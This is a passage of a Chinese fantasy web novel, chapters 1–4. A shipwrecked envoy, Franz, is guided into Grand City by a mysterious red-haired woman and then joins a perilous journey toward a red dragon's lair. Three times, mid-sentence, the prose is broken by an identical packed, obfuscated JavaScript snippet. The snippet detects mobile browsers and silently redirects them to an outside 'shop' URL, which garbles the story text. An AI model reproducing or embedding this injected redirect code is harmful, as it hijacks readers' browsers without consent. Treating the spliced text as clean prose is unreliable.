《神秘的她们[西幻]》 1. 第 1 章 斯凯加德王国，厄尔姆港。 这是一个位于大陆最北端的国家。 冬日严寒，大雪近乎覆盖了一切，可厄尔姆不冻港却彻夜明亮。 各式各样的船舶运载着大量的香料、贵金属、美酒驶入这个北国港湾；工人有条不紊地搬运货物，商家彼此攀谈，蓬勃的热量从人们的头顶和房屋间升起、汇聚，这一团团云雾使明亮的灯塔光芒都变得朦胧起来。 厄尔姆港最大的一家酒馆里热闹非凡，冬季最漫长的一个夜晚即将来临，人们躁动的兴奋状态却比夜晚持续得更长——厄尔姆不冻港一年一度商贸会的开展，招徕了全国乃至整个大陆的商人，也吸引了许多想借此谋生的短工和观光的旅人。 快嘴雷克缩在酒馆的角落，捧着好不容易获得的一大杯烈酒，嘟囔道：“……好吧好吧，看在这免费的酒上，我就再讲一个故事吧。” “要有趣的！”站在他面前的一个小男孩急忙道。 “要配得上这杯酒的！”站在小男孩身边的小女孩马上补充。 他们是这家酒馆老板的孩子，正试图用从母亲酒柜里偷偷倒出的一杯微不足道的酒来换取一些十分新鲜的故事。 “要配得上这杯酒的——”快嘴雷克大饮一口，浓烈的酒精如风暴从咽喉席卷至胃囊继而冲上鼻腔，“——那就讲龙的故事吧！” “龙的故事？” “对！龙的故事！”快嘴雷克眯起眼睛，用力地咂咂嘴，“一个关于红龙的故事。” 快嘴雷克虽然整天无所事事，但在讲故事方面却是一把好手，故事伴随着小麦香徐徐展开，夜色也渐深。涌进酒馆的人越来越多，休息放松的工人，互相结识的商家，好奇的旅人，都被凛冽的寒风吹了进来。 就连雷克所在的小角落也挤进来了两个年轻人——一个梳着整齐羊角辫的红发女人，一个面容精致的男人，都不是本地人的打扮。 雷克不由得瞥了他们两眼，却又马上被孩子们的催促声打断了：“拜里科斯的国王决定什么？” “……拜里科斯的国王？哦，对，”他回过神来，继续道，“拜里科斯的国王决定，派遣一支小队，前往龙的巢穴——” . “人都去哪了？还不快点滚过来稳住方向！” “赏赐！赏赐掉水里了！” “不好了船长！船舱进水了！” “该死的，别管那么多！快，快上救生船！” 在拜里科斯王国与白岛之间的白沙海上，狂风席卷巨浪将月光遮蔽，大海的咆哮与猎猎风声吞噬了一切呼喊。 往日里威风凛凛的双桅大船，此刻就像一只被顽劣的孩童抓住了的小虫子，在波涛中被抛来甩去；上等羊皮鞣制的船帆，是被扯断的翅膀，正七零八落地挂在桅杆上。 波涛汹涌，弗兰茨被巨力甩出船舱，他攀在一块断裂的木板上，陷在海水里上下颠倒。 沉浮间，他感觉自己灌了一肚子的海水，背部也不知被什么重物狠狠撞击了一下。 他头晕眼花，在海水里翻滚，一时间竟分不清上下。 在恐惧与无助间颠簸许久，大海终于平静下来，弗兰茨爬上木板，精疲力竭地吐出一口气。 天依旧阴沉，狂风平息后，有细细密密的雨水落了下来，四周一片昏暗，只有远处半沉的大船上还挑着一盏油灯。 但很快，那点儿橘黄也被蓝黑色的海水吞咽掉了。 弗兰茨躺在木板上，哆哆嗦嗦地发起抖。 好冷…… 真的好冷…… 弗兰茨双臂环抱身体蜷缩，试图让热量流失得更慢一点。 静谧的黑夜里，他只能听见海水一下一下冲到木板上的唰唰声，仿佛刚刚船员绝望的呼喊只是一场幻觉。 怎么会这样？ 弗兰茨哆嗦着呼出一口气，稀薄的热气从脸上一瞬而过，紧接着就在睫毛上结成了冰冷的水珠。 他的头脑昏沉，意识也不甚清晰，迷蒙间，他感觉眼前飘浮着一团一团的白雾——那是自己因疼痛喘息从口鼻冒出的大量热气——仿佛高耸的山峰间上一道白雪，以及平铺在碧蓝的天空中如同棉絮般的碎云。 意识时有时无，待他在下一次睁开眼时，水声依旧，连绵的白雪与云团清晰可见。 这是……？ 弗兰茨又呼出一口气，热气逸散，雪与云仍在。 这是真的雪。 弗兰茨挣扎着从木板上撑起身子，用力眨了眨眼，他瞧见远处碧色的山脉，以及卧在山尖上常年不化的白雪。 视线变得清晰，触觉也随之敏感，暖洋洋的水流正轻柔地抚摸着他的小腿，和煦的阳光照射在他由于浸泡过海水而变得紧绷的面庞上，引起一丝细微的刺痛。 噗通—— 弗兰茨翻身落入水中，双腿很快就碰到了雪白的沙地。 顾不上被打湿的半身，他茫然地向岸边走了几步，回头望去，一望无际的大海上只有一块木板孤零零地来回漂浮；再往前看，则是一片完全陌生的陆地。 “你在做什么？” 忽然，一个极近的声音在他身侧响起。 弗兰茨猛一扭头，只见一个女人踩在沙地与海水的交界处。 红头发，桃心脸，扎着两根怪异且凌乱的朝天羊角辫，在并不寒冷的季节里，她穿着严实，戴着手套，毛毡制成的鞋面很快被海水打湿了大半。 是一个奇怪的女人。 “你在做什么？”她用通用语再一次问道。 弗兰茨怔愣了一下，“我……”他下意识想要回答，却又顿住了。 他低头打量了自己一番，凌乱破损的衣服，疲惫的体态，还有身后残缺的木板，很显然，这是一个遭遇了海难的倒霉家伙——在做什么——他还能在做什么？ 弗兰茨颇为无奈地摇摇头，思索片刻后用通用语回答了：“在下弗兰茨，弗兰茨·罗兰，从拜里科斯乘船而来，无奈途中遭遇风暴，我漂到这里，请问……这是何处？是白岛吗？” “白岛，”红发女人停顿了一下，又问，“这里是龙所在的岛屿。你要进去？” 白岛，也就是龙所在的岛屿，但是“进去”？ 弗兰茨觉察出红发女人话语里的奇怪意味，可长久的疲惫让他无暇思考太多，于是他顺着红发女人的话说了下去：“对，我想进到格兰德城内，您是城里的居民吗？如果可以，能劳请您带我入城吗？” 红发女人盯了他一会儿，转身走了两步，感觉到弗兰茨没有跟上，于是她又回过头来盯着他。 所以她是答应的意思，弗兰茨快步跟了上去。 视线从海岸线拉向陆地，可以看见绵软潮湿的滩涂以及潮水在上面留下丝丝纹路。沙砾蜿蜒伸展，在太阳的烘烤下逐渐变得干燥粗糙，冷白的岩石从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991970|193756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其尽头破开而矗，层层叠叠，其间偶尔露出几丛灌木，远处是一片密林，浓郁得看不见间隙，随地势的抬高遮蔽住视线往更远的地方延伸。 而洁白的城墙则在密林深处若隐若现。 显而易见，此处并非寻常人经常活动的区域，但她既然承认了格兰德城居民的身份，那么在这种情况下，他只能向她寻求帮助。 想到这里，弗兰茨用拜里科斯语试探道：“还没有请教您的名字。” 红发女人停下了脚步。 她回过头来，明黄色的眼睛也从前方的道路转到了他的脸上，浅褐色的瞳仁很细，当眼睛的主人面无表情盯着人的时候，则会透出一股无机质般刺人的冷漠。 她凝视了他一会儿，弗兰茨难以形容这是怎样一种眼神，像在进攻的前一刻仍绷紧肌肉伏在丛林，骨肉结实的猛兽，又像不远处那些赤裸的岩石，只是更加坚硬、也没有温度。 “叫我卡塔利娜。” 半晌，红发女人用拜里科斯语回答了。 使用拜里科斯语时她的语调较先前使用通用语时更为迟缓一些，但没有很明显的口音差异，弗兰茨暗地松下一口气，转而用一种更为温和无害的语气，笑吟吟道：“卡塔利娜，我们现在是往最近的城门去吗？” “不。” 卡塔利娜转回身子，她拨开树林里自然垂落的藤蔓，又把勾住羊角辫的树枝扯断，在行走过一段崎岖不平的道路后，卡塔利娜将弗兰茨带到一堵洁白的城墙面前。 “到了。” 她向弗兰茨示意—— 葱茏的密林深处，矗立着人类堆砌起来的石墙；即使石块上布满了风蚀的痕迹和蜿蜒的藤蔓，但它洁白的色彩和高大的墙面让人难以忽略迎面而来的崇高雄大之感。 尽管弗兰茨自认为早已见识过许多荒诞的场面，但当手指触摸到粗粝的墙面时，他还是控制不住自己对卡塔利娜露出了难以置信的表情。 “我个人认为、不，我的意思是，”弗兰茨绞尽脑汁，试图用简明的句子让面无表情的卡塔利娜理解他的意思，“我想要进到格兰德城里，而不是见到城墙，但现在我们——” “我知道，”卡塔利娜打断了他的话，语气展露着对他的质疑产生的不满，“这是通往格兰德城最近的道路，翻过这面城墙你就到格兰德城内了。” “更何况，你支撑不了自己走到城门口了。” 她上下扫视了一下弗兰茨，意有所指。 没有什么比现在的情况更糟糕了。 听完卡塔利娜的话，弗兰茨只觉得一阵头晕目眩。 “可是爬城墙？守城的侍卫会发现的，看到两个陌生人——”对于这种不可理喻的进城方式，他不得不说清自己的身份来争取正常进入城内的方式，“卡塔利娜，现今陛下派遣荣誉使团抵达白岛，我作为使团当中的一员，我想白岛上的格兰德城居民，同时也是拜里科斯的子民，在使团成员需要的时候，有必要提供帮助，而不是将其置于更危险的处境。” 按理说，身为拜里科斯王国的臣民，对于奉国王之命出行的使臣应当尊敬且尽力相助才是，可卡塔利娜听完弗兰茨的话后，不但没有选择另择一路进城，反倒从唇角流露出一股古怪的笑意。 她并不言语，而是上前一步，握住弗兰茨的手臂将他往城墙方向一推，另一只手贴住弗兰茨的腰部，开始迫使他向上攀登。 2. 第 2 章 卡塔利娜的身形算不上高大，但她的手心滚烫，力气巨大，弗兰茨一个踉跄被她推向墙面。 “等等——” 他还想挣扎，一根迎面甩来的粗壮藤蔓打断了他的话。 “抓着。” 卡塔利娜扭住他的肩膀，命令式的声音紧跟其后。 弗兰茨无力挣脱，被迫挂在半空中，被林风吹得左摇右晃，往日穿在身上的体面与礼仪在此刻也几乎维持不住了。 最终，在他以为自己会因体力不支摔死或者被城墙上的守卫射死的时候，领先于他的卡塔利娜双臂一撑翻上了城墙。她俯身攥住他的手臂，轻松一提，弗兰茨便腾空而起落到了城墙上。 噢，他还活着。 而且既没有摔死，也没有被锋利的箭矢指着鼻尖。 “呼、呼——” 弗兰茨深吸几口气，让自己缓和下来，随后他整整衣襟，扯扯衣摆，道：“非常感谢你的帮助，卡塔利娜。” 他点点头，像是要自己认可刚刚说过的话，又接着问：“既然进入到城内，还希望你能行个方便，带我到行驿馆吗？” “……走过去就可以了。”弗兰茨补充。 卡塔利娜盯了他一会，转身向前。 这一回，弗兰茨没再犹豫，快步跟了上去。 格兰德城位于白岛的西侧，依山而建，随山脉地势逐渐抬高；而钟塔，则是整个格兰德城中最高的建筑。 穿过市集，经过广场，全王国统一建造的行驿馆出现在眼前。 弗兰茨借了一把小刀，挑开衣领角杂乱的针脚，从里面剥出一块刻着水仙花纹的金制圆币，向行驿馆里的接待人员证明自己使者的身份。 还未等他询问使团其它成员的下落，一个熟悉的声音从后方传来： “——呀，原来你没死呀？” “托您的福，尊敬的小汤普森先生，您看您一直都是走在人前的，在下又怎敢先您一步呢？”弗兰茨转身朝来者示意，提高音调微笑道，“伍德团长，原来您在后面呀。” 闻言，走在前方的年轻人脸上毫不掩饰地流露出一股怒意，他正要快步上前，却被身后的中年男人拽住了胳膊。 被称为“伍德团长”的中年人有着如凝固岩浆一般暗红色的皮肤，他紧闭双唇，警告似的瞪了小汤普森一眼；随后，他重新望向弗兰茨，面不改色道：“小汤普森先生只是在语言应用上稍少天赋而已，罗兰先生您何必咄咄逼人呢？更何况现在使团成员大多数还生死未卜，挑起争端并非理智之举。” 颠倒是非。 弗兰茨皱了皱眉，但他没再反驳什么，而是询问起现下的情况。 . 二十四名使团成员，三十六名海员，三名向导，八箱赏赐，大半数都已沉没在一天前的那个雨夜。 幸存者大部分都乘坐着救生船安全抵达海港，其余有的被冲到沙滩上，有的被出海打鱼的渔船捞起。整顿下来，伤员暂时安置在格兰德城，剩余无恙的六名使者则继续前往龙穴。 那接下来该怎么做？ 人员和赏赐都不足，还有向导…… “这些，我们在今晚的城主晚宴上自会商讨，现在最重要的是，”伍德团长上下打量了一眼弗兰茨，“我对您的遭遇感到抱歉，但您最好将身上的鱼腥味洗干净，城主可是一位极重视礼仪的——” “我做向导。” 一个声音打断了伍德团长暗藏讽刺的话。 是卡塔利娜。 “——什、你是谁？”突如其来的话让伍德生出一种思维被打断的茫然和困惑。 “我会是接下来的向导。” 卡塔利娜上前，直视着伍德重复了一遍。 “不，你在胡说什么，这怎么可能？哼，真是太……”伍德退后两步，哼了一声重申道，“向导我们会在今晚——” “今晚的城主宴会上决定，”卡塔利娜果断地说完了伍德的后半句话，“既然还没有决定，就让我也前去。而且，弗兰茨是由我带进城里的。” ——这足以证明我的能力。 她是这个意思，弗兰茨意识到。 “不不，卡塔利娜——”弗兰茨快步上前，劝阻道，“你不明白，这太危险了。” 带他进入格兰德城和带人前往龙穴可不一样，尽管大多数拜里科斯人视能参与每二十年一次前往龙穴的行赏为不可多得的荣誉，但每次行赏都有不少人受伤或身亡。 更何况这次开端如此的不顺利，接下来的行赏必然也会多生波折。他并不想一位刚帮助过自己的人，因不清楚形势陷入危险的环境中。 “不是所有人都能像你一样胆小，”见弗兰茨脸色逐渐难看起来，汤普森哼笑了两声，趁机向伍德提议，“团长，我想情况特殊，这位小姐既然能将罗兰带进城内，那么她的能力肯定不凡。不如就像她所说的，让她以备选向导的身份参加晚宴，届时再决定也不迟啊。” “不行！”弗兰茨的语气难得毫无修饰地强硬起来，他上前两步将卡塔利娜挡在身后，“团长，使团成员的加入事关重大，请务必考虑清楚——” “够了！” 面前几人争论不休，伍德沉下了脸，他先是剜了弗兰茨一眼：“我的决策，可不劳您烦心，您要知道这一点，罗兰先生。” 接着下了定论，“这位小姐——”他显然没记住卡塔利娜的名字，“那今晚便以备选向导的身份与我们一同前行吧。” . 行驿馆的争论没结束多久，夜色就已将将降临。黄昏还未退场，微光悬浮于空中，环境也显得模糊不清。 一片朦胧中，六位使团成员，外加卡塔利娜一位备选向导，一共七人，乘坐着双驾马车静静地来到城主府外。 格兰德城的城主府正位于钟塔的斜前方，是一处比城民住宅高不了多少的建筑物。 “从王国大陆而来的使团成员们，”城主是一位不苟言笑的中年女人，常年板着脸的习惯使她向众人热络微笑的时候，嘴角依旧是奇怪地往下融化，“我想，诸位一定是累坏了吧？” “这一点点小挫折对使团算不上什么。” 伍德向她回礼、问候，两人寒暄几个来回，城主才摇了摇铃示意宴起。 城主府外观算不上多么精致，内里却让人出乎意料。弗兰茨看着端上来的一道道冷盘热菜，以及摆放在手边几把整整齐齐、有着专属用途的银质叉子，不由得挑了挑眉。 “别摆出这么一副恶心人的样子，”汤普森靠在他耳边嘲弄，脸上笑嘻嘻的，“谁知道你是怎么成为这次使团成员的？难道真是受到了亲王殿下的垂青？可你也不过如此啊，还有——” 他将目光投到了一旁的卡塔利娜身上，她正用一柄取肉的叉子戳起面前的甜点：“你居然和这么粗鲁的人来往，真让你的家族蒙羞。” 弗兰茨抬头看他，看他原本就长得紧张局促的脸因刻薄的言行显得更加难看，轻轻笑了一下，道：“我使团成员的身份是由国王陛下直接任命的，与亲王殿下无关；反观您自己，小汤普森先生，您怕是连获得殿下垂青的资格也没有吧？” “小伙子们，在谈些什么呢？可别将旁边的姑娘们冷落了，”城主热切的声音传来，目光依次从使团中的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991971|193756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女性成员身上滑过，最后落到了卡塔利娜身上；她问伍德，“这位，这位姑娘使用叉子的方式真是别致，是王国大陆带来的新风尚吗？” “当然不是，”伍德回答，“这是，这是卡、卡特琳？备选向导，您知道的，我们原来的向导不幸遇难，这是我们新来的备选向导，本地人。” “本地人？”城主皱起了眉头，看向卡塔利娜的目光立刻回到了伍德身上，“恕我直言团长先生，在得知使团遭遇海难损失惨重之际，我立刻筹备了替补成员和老练的向导，我想，有了他们，这次的行赏必然会顺利圆满；而且也不必让你们才脱险又受寻找新成员的劳累。 “但是这位考特尼、卡特琳小姐，我并不是在质疑您的决策，只是出于谨慎，她没有经过考核就成为使团向导，是否有些疏忽，不利于接下来的行程？” “这话就有失偏颇了，”刚刚还与城主十分热络的伍德语气沉了几分，“得知我们遭遇海难，第一个做的却是筹备人手恐怕多有不妥；更何况卡、这位小姐在下午帮助我们一位分散的成员进城找到行驿馆，而你们却连其余成员踪迹都难以寻到，这足以证实能力的差别了。 “不过，现下我们的成员数量确实不够，您的考量也是因为一片热心，我想，提前见见您选出来的备选成员也没有关系吧？” “这……”城主犹豫了一会儿，伍德挑回来的话让她在局势的把控上弱了半分，为表善意她不得不同意了，“好吧，我本想让大家明日再见一见的，但既然伍德团长要求了，我也不好再推脱什么。” 有着精致摆盘和丰盛食物的晚宴匆匆结束，众人被邀至会客厅，没过多久，几重脚步声由远及近传来。 暗红色涂漆的拱门下，有数十人被管家领了进来，来者各个身材高大，身形矫健，这样的矫健，并不呈现一种观赏性的美感，而是让人生出一丝警惕与慎重。 这是人在面对比自己更强大有力的人时会产生的本能。 城主的确是用心挑选。 可这样的用心却并不能让伍德舒心。 “我觉得，”他顿了顿，侧身看向整个晚宴都没有怎么说话的副团长，意有所指，“城主挑选的备选成员自然很不错，只是人员变动并不是我一个人决定的，您觉得呢？罗斯副团长。历经风暴损失惨重，人员变动如此之大，禀告陛下才是关键。” 与骑士团出身的伍德不同，使团副团长罗斯的履历颇为精彩，她原是亲王殿下身边的女官，受人尊敬，但在亲王外出游历的五年中，她却没有与她同行，等她再一次出现人前时却已成为了国王陛下的亲卫。 罗斯侍奉过两位位高权重之人，现又成为荣耀使团的副团长，尽管本人沉默寡言，伍德却不会轻视她的存在。 “……伍德先生，”城主的声音却先一步响了起来，“并非有意打断二位的对话，只是行赏这么重要的事，第一次禀告陛下的不仅是没有什么结果，还有出师不利的消息，这恐怕会惹陛下不悦吧？与其等待陛下指派新的团员或领导者，倒不如一边接受这些备选成员出发，一边再与陛下汇报此事，您觉得呢，罗斯女士？” 罗斯沉吟片刻，对伍德低声道：“城主的话并非没有道理，团长。于陛下而言，不耽误‘行赏’才是关键，更何况届时如果真的派遣了新队伍，局面不一定会更好。” 罗斯的话虽然简短，却戳中了伍德内心深处最在乎的一点，他挺了挺背，再一次扫视城主挑选的成员：“好吧，既然罗斯副团长都发话了，那我也尊重女士的观点。不过城主女士，除了您挑选的人外，我们邀请而来的备选向导小姐也会与我们同行。” 3. 第 3 章 经过商讨，伍德决定在格兰德城休整一日，第二天再出发行赏。 为行动方便，城主挑选的十一位备选成员与一名向导也一同住进了行驿馆。 “诸位，欢迎你们的加入，”伍德微笑道，“协助荣誉使团前往龙穴行赏需要不可多得的勇气，但也必会给你们带来至高无上的荣誉。待这次行赏结束，回到王国大陆，我必会向国王陛下陈明你们的帮助。” “帮助？”备选团员其中一人疑惑道，“城主说我们将会成为使团的一员。” “噢，没想到城主女士为招徕人选说出如此不严谨的话。使团成员的名单都是陛下过目认可的，如果城主女士认为她能够越过陛下直接任命，那可不太妙，”伍德故作诧异的模样，随后又向他们示意，“就像这位弗兰茨·罗兰先生，尽管其貌不扬，但可别小看了他的身份，他可是驭龙女士的后人，因此此次行赏，陛下亲自任命他为使团成员。” 驭龙女士的后人？ 伍德转移视线的话一出，探究、好奇、不喜，各式目光便都落到了弗兰茨的身上。 没有人会享受这种被祸水东引的时刻，弗兰茨也不例外，他礼节性地向众人点点头，便表示为明日出发时保持良好的状态先行休息了。 回去躺了小半天，傍晚，在行驿馆一楼的公共浴室洗漱后，弗兰茨往楼上的房间走去，在楼梯的拐角处遇到了独自一人的卡塔利娜。 她穿着盖住双手的黑色长袍，鬓角濡湿一片，一副刚洗漱完的样子，可即便如此，她仍旧扎着两条高高的羊角辫。 弗兰茨忍着让自己不去过多关注这两条怪异的羊角辫，羊角辫的主人却先一步向他搭话了。 “驭龙女士的后人？”她先是发问，而后又肯定地说，“你是梅兰妮尔·杜兰德的后人。” 是听到了伍德的话吗？ 弗兰茨抿唇，回答道：“是的，我是驭龙女士的后人。” “罗兰和杜兰德，这并不一样。” 楼梯的转角处，斜插着一柄以供照明的蜡烛，蜡泪堆积得很厚，烧成黑色的烛线弯弯曲曲地扭着。 光不明亮，卡塔利娜的脸半隐在昏暗处，弗兰茨看不清楚她的表情，只有她的话一如既往的简短又笃定。 “……我的母亲，是梅兰妮尔·杜兰德的幼女。”弗兰茨解释道，然后他没再说什么，错身向楼上走去。 受潮的木制楼梯不再像行驿馆最初建造时那么牢固，随着弗兰茨每一步重心的变动，楼梯发出了几声突兀的呻丨丨吟。 吱呀声停止，弗兰茨缓缓吐出一口气，转过身来，他站在高几层的台阶上看向卡塔利娜。 距离一远，卡塔利娜的面容便越发模糊不清，只有明黄色的眼睛烛火似的闪闪发亮。 “卡塔利娜。” 弗兰茨看着这个琢磨不透的人，每个人参与行赏的人都有自己的目的，只有卡塔利娜，他不明白她为什么要成为向导，为什么一定要加入此次行赏，为名？为利？ 不，她像是一个纯粹觉得这件事好玩的孩童，像一场无法抵抗的风暴突然降临，将一切事情搅成一团，让遇到她的人茫然。 无论是让他攀爬城墙，还是成为向导，她总能达成她想要的。 “我不明白你为什么要加入行赏，但是此行凶险，往年也并非次次顺利。”弗兰茨停顿了一下，想到她毕竟还帮助过自己，于是又补充了一句劝告，“……你自己多加小心。” 说完，他不再停留，走到二楼明亮的走道中。 罗斯副团长正站在她自己的房间门口，她环抱肩膀看着弗兰茨，像是把他刚刚说的话都听到了。 “弗兰茨，”在弗兰茨从她身边经过时，她叫住他，“你与她似乎关系不错？” “只是一句友好的提醒，”虽然在卡塔利娜成为向导的时候罗斯并未反对，但他记得她最开始见到卡塔利娜时错愕的表情，他无意去猜测，可也不想让人误会，“回去和陛下汇报的时候，不必将这种事情也上报吧？从前你在殿下身边的时候可不是这样子的。” “那倒不会。”罗斯摇了摇头，两人心照不宣的将刚才的话题放下，礼貌地分开。 . 翌日，天空泛着朦胧的青色，银月还透着点儿浅淡的影子，报晨鸟的第一声啼叫就已划破了城内的寂静。 格兰德东城门外，六名使者，十二名格兰德城人，加上卡塔利娜，十九人披着晨露整装待发。 白岛的中部卧着一道高高的山脊，西部则与拜里科斯王国大陆相隔一片白沙海。 格兰德城位于白岛西部，顺着地势自西向东不断抬高，因此东城门几乎是整个格兰德城地势最高的所在，也是前往龙穴行赏最近的地方。 与预想中的高调欢送不同，东城门口只有城主带领一支卫队相送。 此刻，他们正低声吟唱，高处的城墙上也隐隐传来守卫应和之声。 薄雾笼罩的清晨，空气中还带有丝丝凉意。低沉的歌声如浪潮，一下一下涌入不远处的密林中，它滑过盘虬卧龙的树根，钻过层层叠叠的枝叶，随后又如退潮般慢慢地、低低地退了回来。 似被这肃穆的氛围感染，就连汤普森也不再随意出声，在格兰德城人的歌声中，众人向前出发。 此时尚处晚春时节，拜里科斯还未彻底回暖。行走在山林间，繁密的枝叶阻挡了阳光的降落，山林里寒意更是不减。 一行人沉默不语，山林也配合得没有一丝虫鸣，只有行走时腐败落叶发出的咯吱声。随着湿气不断减少，地势不断抬高，弗兰茨大概判断出他们正不停的往东部走。 前往龙穴行赏是拜里科斯一百年前才有的活动，每二十年一次，国王会从全王国中挑选勇猛且高尚的人组成荣耀使团。 被选中的使团成员将从王都出发，他们携带珍宝与展现威仪的权杖，穿过王国大陆，横渡白沙海，在格兰德城进行最后的补给与休养，接下来要面对的，才是真正的考验与挑战。 跋涉山林许久，暮色也悄然而至，前方的密林开始蒙上一片雾色，格兰德城的向导向伍德和罗斯汇报些什么，几人商榷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991972|193756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后，向所有人表示全体原地休整一夜，明日再出发。 拾取断木，点燃火堆，借着不甚明亮的光，弗兰茨发现密林间的绿云更浓了。 “如大家眼前所见，前方雾气密布的地方正是‘迷雾森林’，传闻那里徘徊着红龙最忠诚的爪牙，”见众人安顿好，向导出声提醒，“今晚原地休息的时候切勿独自冒险，它们的力气巨大无比，身体也硬如磐石。不过，那些龙牙战士无法离开那些毒雾环绕的地方，现在我们所处的位置是绝对安全的。” 龙牙战士，那些历代使团成员在公众场合讲述他们的荣光经历时提到过，它们是红龙最锋利的毒牙，播种到土地里便化为红龙最坚定的守卫者，任何踏进它们守护之地的外来者都会被无情的抹杀。 “那你们是如何活下来的？”当时也有人提问。 “头脑，”前任成员回答，“你要知道，人与这种死物最大的区别，就是拥有灵活的头脑。” 有了前人的经验，现在的众人虽然都只是第一次来到这里，但并未产生过多的慌张。 在跳动的火光中，天色彻底暗了下来，星辰闪烁，一行人原本有些紧绷的神经也在用过晚饭后慢慢放松下来，融融的火光烘托出一片暖洋洋的祥和气氛。考虑到明日还要早起赶路，罗斯挑了挑火堆以防熄灭，又按两小时为一组划分好守夜人员便提醒众人早点休息。 . 次日，在圆日与弯月同挂之际，霞光与寒气共存之时，一行人就已起身。简单的梳洗过后，众人朝着太阳升起的方向迈开了前进的步伐。 越是靠近迷雾森林，弗兰茨越能感觉到它的古怪。 刚才一路走来，密林虽然寂静，但偶尔能听见几声鸟鸣，可越往迷雾森林走去，鸟兽形迹就越少。 地上堆积的腐殖质也很厚，踏上去会让人生出一种陷入黏稠沼泽的错觉。 不仅如此，这里树木也比刚才的怪异，枝干灰黑，形状似一个个扭曲的人影，枝桠还光秃秃的。 可即便没有什么树叶阻挡，交错盘结的枝干也结成了一个巨大的密密麻麻的网，把早晨的阳光阻挡在外面。 空气开始弥漫奇怪的气味，不少人开始露出不适的表情。 见状，伍德转头示意，格兰德城的向导点点头，一边从行囊中拿出面罩分发给其他人，一边解释：“看到前方的绿色迷雾了吗？里面含有致幻的气体。面罩虽然不能完全隔绝，但是可以较大减少你们吸入气体的可能性。” 然后他又从胸前的口袋中掏出十几枚浅蓝色的细叶，十分热心肠地补充：“这是厄瑞忒树的叶子，有刺激提神的功效，你们最好在进入迷雾森林之前就把这东西含在嘴里。” 尚未进入迷雾森林，危险的阴影就已隐隐笼罩众人。 伍德放慢脚步，右手握住腰间的佩剑，这好似一个信号，所有人打起精神更加警惕起来。弗兰茨扣紧面罩，将随身携带的匕首抽了出来。 绿色的迷雾就在眼前，一行人屏气凝神，停顿片刻后伍德下定决心，拔出佩剑率先一脚踏进。 4. 第 4 章 绿雾环绕的森林，并非如睡前读物里描绘的绿林仙境一般神秘又美丽。 一脚踏入，弗兰茨只感觉到沉重，仿佛空气都已经停滞凝固，有一大潭湖水低低的倒挂在头上，沉甸甸地往身上压。 越往里走，众人行走得就越困难，出发前快速通过的想法如今看来简直就是天方夜谭。 这里不仅空气沉闷，四周也透着危险的痕迹。 迷雾森林的树算不上高大，部分枝干上有着巨大的深刻的划痕，这看起来并不像是小动物打磨爪子时留下的抓痕，更像是来自某种更庞大的更冰冷的事物致命一击。 不过是在经过时偶尔一瞥，弗兰茨的背后却出了一层薄薄的冷汗，就连耳后细微的绒毛也好似感受到危险一般竖了起来。 除了这些划痕，道路上偶尔能看见一些人类遗留下来的武器，这些刀剑或是卷了刃，或是断裂成几块。 往日里锃亮耀眼，如今却也蒙尘，而这些武器的主人，很显然是以前不幸的使团成员，他们的下场不必明说亦可料到。 看着这些前人遗留下来的痕迹，众人行走得越发谨慎，朝着太阳升起的东方继续前行。 ——咔擦！ 一截断木落地的声音，众人尚未朝声源处转去，一大片阴影就已从右侧重重压来！ ——噗嗤！ 这是皮肉被穿透的声音，所有人都还没有反应过来身边少了一人，就看见一个格兰德城人被什么东西贯穿了腰腹，硬生生地捅在一旁的树干上。 这是什么？！ 所有人都被这画面震住了，那个可怜的格兰德城人被一种速度极快的东西贯穿了，撕裂了，他的身体、骨肉因极大的蛮力硬生生地嵌进树干之中。 鲜血从残肢里爆开，喷溅到树干上再蜿蜒而下，滴滴答答，迅速汇聚成一滩血湖，下一瞬，一大滩内脏也从被破开的肚腹稀里哗啦地倾泻出来。 那凶手的行动速度是如此之快，从格兰德城人站立的地方到树干的位置，这一段的地面上却没有留下一丝血痕。 “小心——” 身后传来一声惊叫，弗兰茨尚从眼前的骇人景象中回过神来，余光就已瞥见黑影直直地往队伍的最前端掠去！ “该死！” 伍德双手握住佩剑往上一抵挡，可即便他有所提防，还是被袭来的巨力震得手腕发麻，虎口沁血！ 第一击不成，第二击紧随其后，他堪堪站稳身子，却见白色的阴影已破风而来，死亡的利刃将将要挨上鼻尖。 “嘿！” 一个高大的格兰德城人大呵一声，持剑劈向阴影；与此同时，伍德身后的两人也立即做出配合，一人抱住伍德的腰向侧面扑去，一人趁机上前一步企图将武器捅入白影心口。 这是怎样一种坚硬的物体？ 当剑砍到白影时，那个格兰德城人惊骇地想，它比岩石更硬，仿佛由天底下最厉害的铁匠用最坚韧的金属打制而成的武器，也无法从它身上削下一丁点碎屑。 